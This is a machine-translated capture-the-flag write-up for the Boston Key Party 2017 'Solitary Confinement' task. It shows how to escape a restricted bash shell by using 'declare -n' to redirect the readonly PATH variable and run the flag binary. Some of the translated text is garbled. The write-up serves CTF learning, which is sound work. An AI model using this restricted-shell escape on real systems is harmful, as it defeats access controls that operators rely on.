What to do if you are locked in rbash

just recently, another interesting CTF Boston Key Party 2017. We unfortunately didn't win, but that's another story. And today I would like to describe the solution of one task from section pwn "Solitary Confinement (pwn 99)".

By connecting SSH we immediately come to rbash.

Looking around, it becomes clear that available for the execution of files through which they could come in was normal, we have:

the

rbash-4.3$ [tab]
! ]] builtin compgen declare echo eval in the logout fc getopts pwd readonly typeset shopt time until
alias complete caller elif dirs exec fg jobs hash mapfile return source ulimit wait times
bg disown compopt case else exit fi help kill popd rbash select suspend trap umask while
[ bind cd continue do enable export for history let printf  read  set test to true unalias {
[[ coproc command break done esac function if false local pushd readarray shift then type unset }

Further looking around in the system:

the

-rbash-4.3$ pwd
/

Understand that we are in the root directory! First thought — It's great! But look further:

the

-rbash-4.3$ echo ./*
bin dev lib lib64 flag
-rbash-4.3$ echo ./bin/*
rbash
-rbash-4.3$ echo ./flag/*
showFlag

Well, at least we know where the flag is. But it is not all that just by looking at the attributes of the file:

the

-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi
ok
-rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi

Understand that it is binary, so also not ours. So how to use / execute commands are prohibited, as well as to change to use cd. Then I had to figure out how to change the variable PATH.

the

rbash-4.3$ unset -v PATH
rbash: unset: PATH: cannot unset: readonly variable

To edit environment variables in the following way:

the

the
• set PATH=deadbeef
the
• typeset PATH=deadbeef
the
• export PATH=deadbeef
the
• PATH=deadbeef
the
• declare PATH=deadbeef

After careful consideration of the documentation to each command, you can stumble upon this interesting snippet:

declare: declare [-aAfFgilnrtux] [-p] [name[=value] ...]
Set variable values and attributes.
...
-n make NAME a reference to the variable named by its value

Hmm, since you cannot change the variable directly, we will try to create a link:

the

rbash-4.3$ declare-n PATH
rbash-4.3$ export PATH=/flag

There are no errors. Check the changes:

the

rbash-4.3$ echo $PATH
/flag
rbash-4.3$ showFlag
BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}

The flag we have. Job passed. In the presence of for example bash's, it would be possible to run it in the same way.

Article based on information from habrahabr.ru